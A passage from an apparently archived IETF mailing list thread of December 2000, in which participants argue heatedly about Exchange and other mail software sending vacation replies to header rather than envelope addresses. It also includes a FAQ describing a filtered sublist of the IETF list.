From:" and "RCPT To:" transaction lines in the SMTP exchange -- the so-called mail *ENVELOPE*. The reason Ed Klein could get this message even though it was addressed "To: ietf@ietf.org" in the header was because it said his address in the envelope. Similarly, in the envelope, the From: address was the mail address designated to get bounce messages from delivery failures and similar notifications, not MY address. *I* did not send the message to Ed Klein, the mail exploder did. The problem here is that some individual who designed Exchange's "out of office" notification facility did not understand the distinction between envelope and header. Other utilities which serve the same purpose do the correct thing. They will bounce a message to the envelope From: and not the header From: (Some are even more intelligent than that -- they will note that the envelope To: and message header To: (or Cc:) lines are not in accord, indicating a mailing list delivery and not mail personally to the recipient, and bounce NO MESSAGE AT ALL. However, we don't expect intelligent implementation in this case -- just correct implementation.) All it is that many of us are asking about virus notifications, vacation mail, etc. is that it go to the CORRECT place. Sure, it shouldn't be sent at all, but if it is going to be sent, let it at least be sent to the envelope From: and not the header From:. There are a number of other issues, of course. Exchange frequently does not tell you who a bouncing message was sent to (assuming that naturally you'll just know -- the designer never considered mailing lists), and often doesn't include the original message (making it impossible to figure out what message caused the bounce). However, I try to complain about only one serious flaw at a time. Perry From owner-ietf-outbound Fri Dec 29 15:00:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA12359 for ietf-outbound.10@ietf.org; Fri, 29 Dec 2000 15:00:03 -0500 (EST) Received: from calcite.rhyolite.com (calcite.rhyolite.com [192.188.61.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA12321 for ; Fri, 29 Dec 2000 14:58:15 -0500 (EST) Received: (from vjs@localhost) by calcite.rhyolite.com (8.11.1/8.11.1) id eBTJwGE01293 for ietf@ietf.org env-from ; Fri, 29 Dec 2000 12:58:16 -0700 (MST) Date: Fri, 29 Dec 2000 12:58:16 -0700 (MST) From: Vernon Schryver Message-Id: <200012291958.eBTJwGE01293@calcite.rhyolite.com> To: ietf@ietf.org Subject: Re: Denial of Service by Spamware? X-Loop: ietf@ietf.org > From: Ted Gavin > ... > First, I'm no Microsoft advocate. I was a mail administrator for some > number of years in the course of which, I had to deal with Microsoft > messaging products. As such, you should look around at other systems and perhaps even read what people have repeatedly said here to discover that your the problem statement is entirely off the mark. > Those persons who are responsible for managing Microsoft Exchange > implementations should know that Out-Of-Office responses, as well as > anti-virus application auto-notifications can be given permission to > send to the Internet, just as they can be DENIED permission to send to > the Internet. ... What is that "send to the Internet" business? The vacation message problem has nothing to do with "sending to the Internet", but with not doing as has been said many times here. Those who have ignored the repeated descriptions of the bug here could look for the problem elsewhere. They could start at http://www.FreeBSD.org/cgi/man.cgi and then http://www.FreeBSD.org/cgi/man.cgi?query=vacation&apropos=0&sektion=0&manpath=FreeBSD+4.2-RELEASE&format=html and which contains No message will be sent unless login (or an alias supplied using the -a option) is part of either the ``To:'' or ``Cc:'' headers of the mail. > The fault is not in the software. The fault is with the users and the > administrators. You are wrong. The fault is first in the software for not doing what has been repeatedly described here. The fault is with the users and administrators second for unthinkingly accepting a silly description of the problem and doing as people in Redmond do and not paying attention to anything that didn't originate in Redmond. > ... > I agree. Not everyone's software does it, but not everyone's software > gives people an equal level of administrative control. If you > implement Exchange, you're not looking for the complexity or > specificity that sendmail or some other product offer you. You're > basically purchasing McMail. You're looking for whatever benefit you > feel that Exchange provides. At that point, what any other products do > becomes irrelevant. Again, for the umpteenth time, this bug has nothing to do with sendmail or any MTA, as most people distiguish MTA's from MUA's. From what some Microsoft advocates have said, that is even the case with this Microsoft bug, that the out-of-office abuse system is outside the Exchange MTA. > ... > So you are essentially stating that persons who work for companies > that use Microsoft Exchange Server are no longer welcome in IETF > participation unless they use a mailer and get another account of > their own? If so, just come out and say it. I'm saying that people who are too lazy or witless to pick software that does not cause them to make pests of themselves have no place trying to develop network protocols. Those who are cannot be bothered to pay attention to years of repeated descriptions of a serious problem in their software but instead merely repeat the party line of their chosen vendor are worse than useless in any design effort, including the IETF's. > So, since Exchange users > will now have to pay for another mail account, why not just let them > use Exchange, but charge them a membership fee and use the cost to > subsidize a moderator? That is more of the all too common IETF-as-a-social-club-and-tutorial nonsense. > Your point, while making it nice and convenient for everyone, is > directly contrary to the notion that the internet is for everybody. The Internet is not for everybody, but only for those who pay their own freight. Besides, I explicitly said that this bugware should be banned from the Internet but only banned from subscribing to IETF lists. The IETF is not the Internet. > Inasmuch as IETF exists under the ISOC umbrella, That is quite wrong. > and since there are > both valid and valued contributors to IETF who use Exchange (I was > once one, thankyouverymuch), perhaps there's a more palatable way to > do this. The notion of "*valid* contributors to the IETF" sets the hackles of anyone who thinks about it. "Valued contributors" are something else, although that has related dubious aspects. Those who claim to be valued IETF contributors tend to be more valued in their own eyes than anyone else's. > >Is the vacation feature of the package separate from the > >main thing?--perhaps but that's irrelevant. > > I disagree. I think it is entirely relevant It's only different > because it's a client-driven feature as opposed to a server-driven > feature. ... Nonsense. How some marketeers decide to package things does force the world to accept abuse. "Tying" and "packaging" are forces of nature only for consumers who let any single vendor's marketers do their thinking for them. Vernon Schryver vjs@rhyolite.com From owner-ietf-outbound Fri Dec 29 17:10:26 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA13566 for ietf-outbound.10@ietf.org; Fri, 29 Dec 2000 17:10:02 -0500 (EST) Received: from swan.prod.itd.earthlink.net (swan.prod.itd.earthlink.net [207.217.120.123]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA13504 for ; Fri, 29 Dec 2000 17:02:15 -0500 (EST) Received: from vulcan (1Cust114.tnt4.redmond.wa.da.uu.net [63.23.202.114]) by swan.prod.itd.earthlink.net (EL-8_9_3_3/8.9.3) with SMTP id OAA29972 for ; Fri, 29 Dec 2000 14:02:14 -0800 (PST) Message-ID: <020801c071e2$fd8e8fa0$140a0a0a@ambler.net> Reply-To: "Christopher Ambler" From: "Christopher Ambler" To: References: <200012291958.eBTJwGE01293@calcite.rhyolite.com> Subject: Re: Denial of Service by Spamware? Date: Fri, 29 Dec 2000 14:02:03 -0800 Organization: Image Online Design, Inc. MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id RAA13504 X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit > I'm saying that people who are too lazy or witless to pick software that > does not cause them to make pests of themselves have no place trying to > develop network protocols. I'm sorry, but I take offense at this. I am neither lazy nor witless, and I chose Exchange. I configured it around its obvious flaws, and it does not exhibit the behaviour that is causing such strife around here. Is Exchange broken? Undoubtedly so. Is there a way that a clueful user can overcome the break? Absolutely. Should the software be "banned?" Of course not. If anything, unsubscribe those users who can't take the trouble to ensure that their system, *regardless of the software used,* works properly. Christopher From owner-ietf-outbound Fri Dec 29 20:50:43 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA14735 for ietf-outbound.10@ietf.org; Fri, 29 Dec 2000 20:50:02 -0500 (EST) Received: from mail.perspex.com (outside-eth.virpack.com [12.5.16.108] (may be forged)) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA14683 for ; Fri, 29 Dec 2000 20:36:22 -0500 (EST) Received: from localhost (tlilley@localhost) by mail.perspex.com (8.8.7/8.7.3) with SMTP id CAA19114; Sat, 30 Dec 2000 02:08:33 GMT Date: Sat, 30 Dec 2000 02:08:33 +0000 (/etc/localtime) From: Tripp Lilley Reply-To: Tripp Lilley To: Christopher Ambler cc: ietf@ietf.org Subject: Re: Denial of Service by Spamware? In-Reply-To: <020801c071e2$fd8e8fa0$140a0a0a@ambler.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org On Fri, 29 Dec 2000, Christopher Ambler wrote: > Is Exchange broken? Undoubtedly so. Is there a way that a clueful > user can overcome the break? Absolutely. Should the software be > "banned?" Of course not. If anything, unsubscribe those users who > can't take the trouble to ensure that their system, *regardless of the > software used,* works properly. And back that up with a note "from the IETF" to the developers of the software, describing its standards avoidance in exhaustive detail. Yes, we've hashed over those details here on the list, but there's no guarantee that the developers of any particular offensive code will be on this list (which, perhaps, should say something, but...) For the record, the offenders I've noted in response to my posts have included Novell Groupwise, Lotus Notes, "Internet Mail Service", and something I couldn't readily identify because it seemed to lack an X-Mailer: or other identifying header. I'm pretty certain Notes comes configured for braindamage "out of the box", though, because of all of the vacation spam I've received over the years from Interop suits when posting to those lists. Which would suggest either that there are more clueful Notes admins running IETF list members' sites, or that there are fewer IETFers behind Notes scramblers^H^H^Hgateways. -- Joy-Loving * Tripp Lilley * http://stargate.eheart.sg505.net/~tlilley/ ------------------------------------------------------------------------------ "There were other lonely singers / in a world turned deaf and blind Who were crucified for what they tried to show. Their voices have been scattered by the swirling winds of time, 'Cause the truth remains that no one wants to know." - Kris Kristofferson, "To Beat the Devil" From owner-ietf-outbound Sun Dec 31 19:22:56 2000 Received: by ietf.org (8.9.1a/8.9.1a) id TAA09105 for ietf-outbound.10@ietf.org; Sun, 31 Dec 2000 19:20:02 -0500 (EST) Received: from dokka.maxware.no (dokka.maxware.no [195.139.236.69]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA09076 for ; Sun, 31 Dec 2000 19:15:01 -0500 (EST) Received: (from hta@localhost) by dokka.maxware.no (8.9.3/8.9.3) id BAA11429 for ietf@ietf.org; Mon, 1 Jan 2001 01:15:02 +0100 Date: Mon, 1 Jan 2001 01:15:02 +0100 From: Harald Tveit Alvestrand Message-Id: <200101010015.BAA11429@dokka.maxware.no> To: ietf@ietf.org Subject: FAQ: The IETF+Censored list X-Loop: ietf@ietf.org The IETF+Censored mailing list At times, the IETF list is subject to debates that have little to do with the purposes for which the IETF list was created. Some people would appreciate a "quieter" forum for the relevant debates that take place, but the IETF's policy of openness has so far prevented the IETF from imposing any censorship policy on the IETF@ietf.org list. To give people an alternative, there is a list called "ietf+censored@alvestrand.no". This list is a sublist (that is, it gets the same messages as) the open IETF discussion list. However, this list will not forward all messages; in particular, the filters have been set so that persons and discussions that are, in the view of Harald Alvestrand, irrelevant to the IETF list are not forwarded. Because this filter is automated, the criteria include: * Well known troublemakers * Well known crosspostings * Subjects that have led to recent non-conclusive exchanges * Some ways to say "unsubscribe" To join the list, [1]send the word "subscribe" in the BODY of a message to ietf+censored-request@alvestrand.no (the URL here is an RFC 2368 mailto URL that does the Right Thing). To unsubscribe, [2]send the word "unsubscribe" in the BODY of a message to ietf+censored-request@alvestrand.no. Do not send to the list - your message will be filtered! (members of the main IETF list itself must follow instructions for that list, of course. You are only a member of ietf+censored if there is a comment on the bottom of your IETF list mail saying that the message has been sent through the ietf+censored list.) For fun, there is a special list for the rejected messages: ietf+censored-rejects@alvestrand.no - subscribe in the same fashion, by [3]mail to ietf+censored-rejects-request@alvestrand.no By public request, the current set of filters are listed at [4]http://www.alvestrand.no/cgi-bin/hta/ietf+censored-filters Some statistics on postings, which may be useful in getting a perspective on the effects of the filter, are at [5]posting-counts.html (started Oct 14, 1998). This page is http://www.alvestrand.no/ietf+censored.html, and is posted monthly in text form to ietf@ietf.org _________________________________________________________________ Harald Tveit Alvestrand [6]< Harald@Alvestrand.no> References 1. mailto:ietf+censored-request@alvestrand.no?body=subscribe 2. mailto:ietf+censored-request@alvestrand.no?body=unsubscribe 3. mailto:ietf+censored-rejects-request@alvestrand.no?body=subscribe 4. http://www.alvestrand.no/cgi-bin/hta/ietf+censored-filters 5. http://www.alvestrand.no/posting-counts.html 6. mailto:harald@alvestrand.no From owner-ietf-outbound Sun Dec 31 22:20:34 2000 Received: by ietf.org (8.9.1a/8.9.1a) id WAA10559 for ietf-outbound.10@ietf.org; Sun, 31 Dec 2000 22:20:02 -0500 (EST) Received: from florence.regex.com (qmailr@florence.regex.com [208.185.69.254]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA10536 for ; Sun, 31 Dec 2000 22:18:10 -0500 (EST) Received: (qmail 32364 invoked by uid 1169); 1 Jan 2001 03:18:11 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 1 Jan 2001 03:18:11 -0000 Date: Sun, 31 Dec 2000 22:18:11 -0500 (EST) From: "Rahmat M. Samik-Ibrahim" X-Sender: tjt@florence.regex.com To: ietf@ietf.org Subject: Re: Why the out of office messages aren't an example of misconfiguration. In-Reply-To: <878zozrpa2.fsf@snark.piermont.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Loop: ietf@ietf.org On 29 Dec 2000: > I hate to have to give a basic lesson on this stuff on, of all places, Um....... There exists concepts like: - mailing list maintainer - mailing list policy - unsubscribe a mailing list member Therefore, the maintainer should JUST DO IT! PS: As a maintainer, I have been using majordomo, ezmlm, as well as eGroups; eGroups is the best! happy y2k++ -- Rahmat M. Samik-Ibrahim - VLSM-TJT - http://rms46.vlsm.org Oops, I did it again... I am not that innocent... [Spears]